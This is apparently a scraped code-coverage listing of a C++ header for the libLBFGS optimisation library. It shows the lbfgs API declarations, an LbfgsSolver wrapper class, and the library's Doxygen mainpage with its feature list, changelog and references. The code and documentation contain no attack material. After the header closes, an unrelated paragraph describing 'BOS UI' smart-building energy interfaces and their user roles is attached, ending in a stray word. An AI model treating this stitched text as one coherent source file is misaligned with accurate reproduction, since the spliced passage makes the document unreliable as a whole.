379 |
|
|
* structure with the default values. |
380 |
|
|
* @retval int The status code. This function returns zero if the |
381 |
|
|
* minimization process terminates without an error. A |
382 |
|
|
* non-zero value indicates an error. |
383 |
|
|
*/ |
384 |
|
|
int lbfgs(int n, double *x, double *ptr_fx, |
385 |
|
|
lbfgs_evaluate_t proc_evaluate, lbfgs_progress_t proc_progress, |
386 |
|
|
void *instance, lbfgs_parameter_t *param); |
387 |
|
|
|
388 |
|
|
/** |
389 |
|
|
* Initialize L-BFGS parameters to the default values. |
390 |
|
|
* |
391 |
|
|
* Call this function to fill a parameter structure with the default values |
392 |
|
|
* and overwrite parameter values if necessary. |
393 |
|
|
* |
394 |
|
|
* @param param The pointer to the parameter structure. |
395 |
|
|
*/ |
396 |
|
|
void lbfgs_parameter_init(lbfgs_parameter_t *param); |
397 |
|
|
|
398 |
|
|
/** |
399 |
|
|
* Allocate an array for variables. |
400 |
|
|
* |
401 |
|
|
* This function allocates an array of variables for the convenience of |
402 |
|
|
* ::lbfgs function; the function has a requreiemt for a variable array |
403 |
|
|
* when libLBFGS is built with SSE/SSE2 optimization routines. A user does |
404 |
|
|
* not have to use this function for libLBFGS built without SSE/SSE2 |
405 |
|
|
* optimization. |
406 |
|
|
* |
407 |
|
|
* @param n The number of variables. |
408 |
|
|
*/ |
409 |
|
|
double* lbfgs_malloc(int n); |
410 |
|
|
|
411 |
|
|
/** |
412 |
|
|
* Free an array of variables. |
413 |
|
|
* |
414 |
|
|
* @param x The array of variables allocated by ::lbfgs_malloc |
415 |
|
|
* function. |
416 |
|
|
*/ |
417 |
|
|
void lbfgs_free(double *x); |
418 |
|
|
|
419 |
|
|
/* |
420 |
|
|
* LBFGS Interface Class |
421 |
|
|
*/ |
422 |
|
|
class LbfgsSolver |
423 |
|
|
{ |
424 |
|
|
public: |
425 |
|
|
LbfgsSolver(); |
426 |
|
3 |
virtual ~LbfgsSolver(){} |
427 |
|
|
|
428 |
|
|
bool initialize(NlpDescription* nlproblem, double constraints_weight = 1.); |
429 |
|
|
void optimize(); |
430 |
|
|
|
431 |
|
|
bool& verbose() { return verbose_; } |
432 |
|
|
lbfgs_parameter_t& opt_params() { return opt_params_; } |
433 |
|
|
|
434 |
|
|
private: |
435 |
|
|
// definition of cost evaluation |
436 |
|
|
static double delegate_evaluate(void *instance, const double *x, double *g, const int n, const double step ); |
437 |
|
|
double evaluate(void *instance, const double *x, double *g, const int n, const double step ); |
438 |
|
|
double evaluate_objective_function(const double* eig_x); |
439 |
|
|
|
440 |
|
|
// definition of how to show progress of the optimization |
441 |
|
|
static int delegate_progress(void *instance, const double *x, const double *g, const double fx, const double xnorm, |
442 |
|
|
const double gnorm, const double step, int n, int k, int ls ); |
443 |
|
|
int progress(const double *x, const double *g, double fx, double xnorm, double gnorm, int n, int k ); |
444 |
|
|
|
445 |
|
|
private: |
446 |
|
|
NlpDescription* nlproblem_; |
447 |
|
|
double constraints_weight_; |
448 |
|
|
bool verbose_, initialized_; |
449 |
|
|
lbfgs_parameter_t opt_params_; |
450 |
|
|
int nvars_, ncons_, *user_info_, opt_status_, length_of_address_to_this_; |
451 |
|
|
}; |
452 |
|
|
|
453 |
|
|
} |
454 |
|
|
/** @} */ |
455 |
|
|
|
456 |
|
|
/** |
457 |
|
|
@mainpage libLBFGS: a library of Limited-memory Broyden-Fletcher-Goldfarb-Shanno (L-BFGS) |
458 |
|
|
|
459 |
|
|
@section intro Introduction |
460 |
|
|
|
461 |
|
|
This library is a C port of the implementation of Limited-memory |
462 |
|
|
Broyden-Fletcher-Goldfarb-Shanno (L-BFGS) method written by Jorge Nocedal. |
463 |
|
|
The original FORTRAN source code is available at: |
464 |
|
|
http://www.ece.northwestern.edu/~nocedal/lbfgs.html |
465 |
|
|
|
466 |
|
|
The L-BFGS method solves the unconstrainted minimization problem, |
467 |
|
|
|
468 |
|
|
<pre> |
469 |
|
|
minimize F(x), x = (x1, x2, ..., xN), |
470 |
|
|
</pre> |
471 |
|
|
|
472 |
|
|
only if the objective function F(x) and its gradient G(x) are computable. The |
473 |
|
|
well-known Newton's method requires computation of the inverse of the hessian |
474 |
|
|
matrix of the objective function. However, the computational cost for the |
475 |
|
|
inverse hessian matrix is expensive especially when the objective function |
476 |
|
|
takes a large number of variables. The L-BFGS method iteratively finds a |
477 |
|
|
minimizer by approximating the inverse hessian matrix by information from last |
478 |
|
|
m iterations. This innovation saves the memory storage and computational time |
479 |
|
|
drastically for large-scaled problems. |
480 |
|
|
|
481 |
|
|
Among the various ports of L-BFGS, this library provides several features: |
482 |
|
|
- <b>Optimization with L1-norm (Orthant-Wise Limited-memory Quasi-Newton |
483 |
|
|
(OWL-QN) method)</b>: |
484 |
|
|
In addition to standard minimization problems, the library can minimize |
485 |
|
|
a function F(x) combined with L1-norm |x| of the variables, |
486 |
|
|
{F(x) + C |x|}, where C is a constant scalar parameter. This feature is |
487 |
|
|
useful for estimating parameters of sparse log-linear models (e.g., |
488 |
|
|
logistic regression and maximum entropy) with L1-regularization (or |
489 |
|
|
Laplacian prior). |
490 |
|
|
- <b>Clean C code</b>: |
491 |
|
|
Unlike C codes generated automatically by f2c (Fortran 77 into C converter), |
492 |
|
|
this port includes changes based on my interpretations, improvements, |
493 |
|
|
optimizations, and clean-ups so that the ported code would be well-suited |
494 |
|
|
for a C code. In addition to comments inherited from the original code, |
495 |
|
|
a number of comments were added through my interpretations. |
496 |
|
|
- <b>Callback interface</b>: |
497 |
|
|
The library receives function and gradient values via a callback interface. |
498 |
|
|
The library also notifies the progress of the optimization by invoking a |
499 |
|
|
callback function. In the original implementation, a user had to set |
500 |
|
|
function and gradient values every time the function returns for obtaining |
501 |
|
|
updated values. |
502 |
|
|
- <b>Thread safe</b>: |
503 |
|
|
The library is thread-safe, which is the secondary gain from the callback |
504 |
|
|
interface. |
505 |
|
|
- <b>Cross platform.</b> The source code can be compiled on Microsoft Visual |
506 |
|
|
Studio 2010, GNU C Compiler (gcc), etc. |
507 |
|
|
- <b>Configurable precision</b>: A user can choose single-precision (float) |
508 |
|
|
or double-precision (double) accuracy by changing ::LBFGS_FLOAT macro. |
509 |
|
|
- <b>SSE/SSE2 optimization</b>: |
510 |
|
|
This library includes SSE/SSE2 optimization (written in compiler intrinsics) |
511 |
|
|
for vector arithmetic operations on Intel/AMD processors. The library uses |
512 |
|
|
SSE for float values and SSE2 for double values. The SSE/SSE2 optimization |
513 |
|
|
routine is disabled by default. |
514 |
|
|
|
515 |
|
|
This library is used by: |
516 |
|
|
- <a href="http://www.chokkan.org/software/crfsuite/">CRFsuite: A fast implementation of Conditional Random Fields (CRFs)</a> |
517 |
|
|
- <a href="http://www.chokkan.org/software/classias/">Classias: A collection of machine-learning algorithms for classification</a> |
518 |
|
|
- <a href="http://www.public.iastate.edu/~gdancik/mlegp/">mlegp: an R package for maximum likelihood estimates for Gaussian processes</a> |
519 |
|
|
- <a href="http://infmath.uibk.ac.at/~matthiasf/imaging2/">imaging2: the imaging2 class library</a> |
520 |
|
|
|
521 |
|
|
@section download Download |
522 |
|
|
|
523 |
|
|
- <a href="https://github.com/downloads/chokkan/liblbfgs/liblbfgs-1.10.tar.gz">Source code</a> |
524 |
|
|
- <a href="https://github.com/chokkan/liblbfgs">GitHub repository</a> |
525 |
|
|
|
526 |
|
|
libLBFGS is distributed under the term of the |
527 |
|
|
<a href="http://opensource.org/licenses/mit-license.php">MIT license</a>. |
528 |
|
|
|
529 |
|
|
@section modules Third-party modules |
530 |
|
|
- <a href="http://cran.r-project.org/web/packages/lbfgs/index.html">lbfgs: Limited-memory BFGS Optimization (a wrapper for R)</a> maintained by Antonio Coppola. |
531 |
|
|
- <a href="http://search.cpan.org/~laye/Algorithm-LBFGS-0.16/">Algorithm::LBFGS - Perl extension for L-BFGS</a> maintained by Lei Sun. |
532 |
|
|
- <a href="http://www.cs.kuleuven.be/~bernd/yap-lbfgs/">YAP-LBFGS (an interface to call libLBFGS from YAP Prolog)</a> maintained by Bernd Gutmann. |
533 |
|
|
|
534 |
|
|
@section changelog History |
535 |
|
|
- Version 1.10 (2010-12-22): |
536 |
|
|
- Fixed compiling errors on Mac OS X; this patch was kindly submitted by |
537 |
|
|
Nic Schraudolph. |
538 |
|
|
- Reduced compiling warnings on Mac OS X; this patch was kindly submitted |
539 |
|
|
by Tamas Nepusz. |
540 |
|
|
- Replaced memalign() with posix_memalign(). |
541 |
|
|
- Updated solution and project files for Microsoft Visual Studio 2010. |
542 |
|
|
- Version 1.9 (2010-01-29): |
543 |
|
|
- Fixed a mistake in checking the validity of the parameters "ftol" and |
544 |
|
|
"wolfe"; this was discovered by Kevin S. Van Horn. |
545 |
|
|
- Version 1.8 (2009-07-13): |
546 |
|
|
- Accepted the patch submitted by Takashi Imamichi; |
547 |
|
|
the backtracking method now has three criteria for choosing the step |
548 |
|
|
length: |
549 |
|
|
- ::LBFGS_LINESEARCH_BACKTRACKING_ARMIJO: sufficient decrease (Armijo) |
550 |
|
|
condition only |
551 |
|
|
- ::LBFGS_LINESEARCH_BACKTRACKING_WOLFE: regular Wolfe condition |
552 |
|
|
(sufficient decrease condition + curvature condition) |
553 |
|
|
- ::LBFGS_LINESEARCH_BACKTRACKING_STRONG_WOLFE: strong Wolfe condition |
554 |
|
|
- Updated the documentation to explain the above three criteria. |
555 |
|
|
- Version 1.7 (2009-02-28): |
556 |
|
|
- Improved OWL-QN routines for stability. |
557 |
|
|
- Removed the support of OWL-QN method in MoreThuente algorithm because |
558 |
|
|
it accidentally fails in early stages of iterations for some objectives. |
559 |
|
|
Because of this change, <b>the OW-LQN method must be used with the |
560 |
|
|
backtracking algorithm (::LBFGS_LINESEARCH_BACKTRACKING)</b>, or the |
561 |
|
|
library returns ::LBFGSERR_INVALID_LINESEARCH. |
562 |
|
|
- Renamed line search algorithms as follows: |
563 |
|
|
- ::LBFGS_LINESEARCH_BACKTRACKING: regular Wolfe condition. |
564 |
|
|
- ::LBFGS_LINESEARCH_BACKTRACKING_LOOSE: regular Wolfe condition. |
565 |
|
|
- ::LBFGS_LINESEARCH_BACKTRACKING_STRONG: strong Wolfe condition. |
566 |
|
|
- Source code clean-up. |
567 |
|
|
- Version 1.6 (2008-11-02): |
568 |
|
|
- Improved line-search algorithm with strong Wolfe condition, which was |
569 |
|
|
contributed by Takashi Imamichi. This routine is now default for |
570 |
|
|
::LBFGS_LINESEARCH_BACKTRACKING. The previous line search algorithm |
571 |
|
|
with regular Wolfe condition is still available as |
572 |
|
|
::LBFGS_LINESEARCH_BACKTRACKING_LOOSE. |
573 |
|
|
- Configurable stop index for L1-norm computation. A member variable |
574 |
|
|
::lbfgs_parameter_t::orthantwise_end was added to specify the index |
575 |
|
|
number at which the library stops computing the L1 norm of the |
576 |
|
|
variables. This is useful to prevent some variables from being |
577 |
|
|
regularized by the OW-LQN method. |
578 |
|
|
- A sample program written in C++ (sample/sample.cpp). |
579 |
|
|
- Version 1.5 (2008-07-10): |
580 |
|
|
- Configurable starting index for L1-norm computation. A member variable |
581 |
|
|
::lbfgs_parameter_t::orthantwise_start was added to specify the index |
582 |
|
|
number from which the library computes the L1 norm of the variables. |
583 |
|
|
This is useful to prevent some variables from being regularized by the |
584 |
|
|
OWL-QN method. |
585 |
|
|
- Fixed a zero-division error when the initial variables have already |
586 |
|
|
been a minimizer (reported by Takashi Imamichi). In this case, the |
587 |
|
|
library returns ::LBFGS_ALREADY_MINIMIZED status code. |
588 |
|
|
- Defined ::LBFGS_SUCCESS status code as zero; removed unused constants, |
589 |
|
|
LBFGSFALSE and LBFGSTRUE. |
590 |
|
|
- Fixed a compile error in an implicit down-cast. |
591 |
|
|
- Version 1.4 (2008-04-25): |
592 |
|
|
- Configurable line search algorithms. A member variable |
593 |
|
|
::lbfgs_parameter_t::linesearch was added to choose either MoreThuente |
594 |
|
|
method (::LBFGS_LINESEARCH_MORETHUENTE) or backtracking algorithm |
595 |
|
|
(::LBFGS_LINESEARCH_BACKTRACKING). |
596 |
|
|
- Fixed a bug: the previous version did not compute psuedo-gradients |
597 |
|
|
properly in the line search routines for OWL-QN. This bug might quit |
598 |
|
|
an iteration process too early when the OWL-QN routine was activated |
599 |
|
|
(0 < ::lbfgs_parameter_t::orthantwise_c). |
600 |
|
|
- Configure script for POSIX environments. |
601 |
|
|
- SSE/SSE2 optimizations with GCC. |
602 |
|
|
- New functions ::lbfgs_malloc and ::lbfgs_free to use SSE/SSE2 routines |
603 |
|
|
transparently. It is uncessary to use these functions for libLBFGS built |
604 |
|
|
without SSE/SSE2 routines; you can still use any memory allocators if |
605 |
|
|
SSE/SSE2 routines are disabled in libLBFGS. |
606 |
|
|
- Version 1.3 (2007-12-16): |
607 |
|
|
- An API change. An argument was added to lbfgs() function to receive the |
608 |
|
|
final value of the objective function. This argument can be set to |
609 |
|
|
\c NULL if the final value is unnecessary. |
610 |
|
|
- Fixed a null-pointer bug in the sample code (reported by Takashi Imamichi). |
611 |
|
|
- Added build scripts for Microsoft Visual Studio 2005 and GCC. |
612 |
|
|
- Added README file. |
613 |
|
|
- Version 1.2 (2007-12-13): |
614 |
|
|
- Fixed a serious bug in orthant-wise L-BFGS. |
615 |
|
|
An important variable was used without initialization. |
616 |
|
|
- Version 1.1 (2007-12-01): |
617 |
|
|
- Implemented orthant-wise L-BFGS. |
618 |
|
|
- Implemented lbfgs_parameter_init() function. |
619 |
|
|
- Fixed several bugs. |
620 |
|
|
- API documentation. |
621 |
|
|
- Version 1.0 (2007-09-20): |
622 |
|
|
- Initial release. |
623 |
|
|
|
624 |
|
|
@section api Documentation |
625 |
|
|
|
626 |
|
|
- @ref liblbfgs_api "libLBFGS API" |
627 |
|
|
|
628 |
|
|
@section sample Sample code |
629 |
|
|
|
630 |
|
|
@include sample.c |
631 |
|
|
|
632 |
|
|
@section ack Acknowledgements |
633 |
|
|
|
634 |
|
|
The L-BFGS algorithm is described in: |
635 |
|
|
- Jorge Nocedal. |
636 |
|
|
Updating Quasi-Newton Matrices with Limited Storage. |
637 |
|
|
<i>Mathematics of Computation</i>, Vol. 35, No. 151, pp. 773--782, 1980. |
638 |
|
|
- Dong C. Liu and Jorge Nocedal. |
639 |
|
|
On the limited memory BFGS method for large scale optimization. |
640 |
|
|
<i>Mathematical Programming</i> B, Vol. 45, No. 3, pp. 503-528, 1989. |
641 |
|
|
|
642 |
|
|
The line search algorithms used in this implementation are described in: |
643 |
|
|
- John E. Dennis and Robert B. Schnabel. |
644 |
|
|
<i>Numerical Methods for Unconstrained Optimization and Nonlinear |
645 |
|
|
Equations</i>, Englewood Cliffs, 1983. |
646 |
|
|
- Jorge J. More and David J. Thuente. |
647 |
|
|
Line search algorithm with guaranteed sufficient decrease. |
648 |
|
|
<i>ACM Transactions on Mathematical Software (TOMS)</i>, Vol. 20, No. 3, |
649 |
|
|
pp. 286-307, 1994. |
650 |
|
|
|
651 |
|
|
This library also implements Orthant-Wise Limited-memory Quasi-Newton (OWL-QN) |
652 |
|
|
method presented in: |
653 |
|
|
- Galen Andrew and Jianfeng Gao. |
654 |
|
|
Scalable training of L1-regularized log-linear models. |
655 |
|
|
In <i>Proceedings of the 24th International Conference on Machine |
656 |
|
|
Learning (ICML 2007)</i>, pp. 33-40, 2007. |
657 |
|
|
|
658 |
|
|
Special thanks go to: |
659 |
|
|
- Yoshimasa Tsuruoka and Daisuke Okanohara for technical information about |
660 |
|
|
OWL-QN |
661 |
|
|
- Takashi Imamichi for the useful enhancements of the backtracking method |
662 |
|
|
- Kevin S. Van Horn, Nic Schraudolph, and Tamas Nepusz for bug fixes |
663 |
|
|
|
664 |
|
|
Finally I would like to thank the original author, Jorge Nocedal, who has been |
665 |
|
|
distributing the effieicnt and explanatory implementation in an open source |
666 |
|
|
licence. |
667 |
|
|
|
668 |
|
|
@section reference Reference |
669 |
|
|
|
670 |
|
|
- <a href="http://www.ece.northwestern.edu/~nocedal/lbfgs.html">L-BFGS</a> by Jorge Nocedal. |
671 |
|
|
- <a href="http://research.microsoft.com/en-us/downloads/b1eb1016-1738-4bd5-83a9-370c9d498a03/default.aspx">Orthant-Wise Limited-memory Quasi-Newton Optimizer for L1-regularized Objectives</a> by Galen Andrew. |
672 |
|
|
- <a href="http://chasen.org/~taku/software/misc/lbfgs/">C port (via f2c)</a> by Taku Kudo. |
673 |
|
|
- <a href="http://www.alglib.net/optimization/lbfgs.php">C#/C++/Delphi/VisualBasic6 port</a> in ALGLIB. |
674 |
|
|
- <a href="http://cctbx.sourceforge.net/">Computational Crystallography Toolbox</a> includes |
675 |
|
|
<a href="http://cctbx.sourceforge.net/current_cvs/c_plus_plus/namespacescitbx_1_1lbfgs.html">scitbx::lbfgs</a>. |
676 |
|
|
*/ |


Both are user interfaces for energy management in Smart Building. They provide residents with transparent information on energy consumption
and energy generation in their building as well as control over their appliances.
BOS UI supports role-based access control. There are three roles in BOS UI: Administrator, who is responsible for configuring the building, Operator who is responsible
for managing residents in the building and paying the electricity bill, Resident who is living in the building and use the appliances on a daily basis.
enter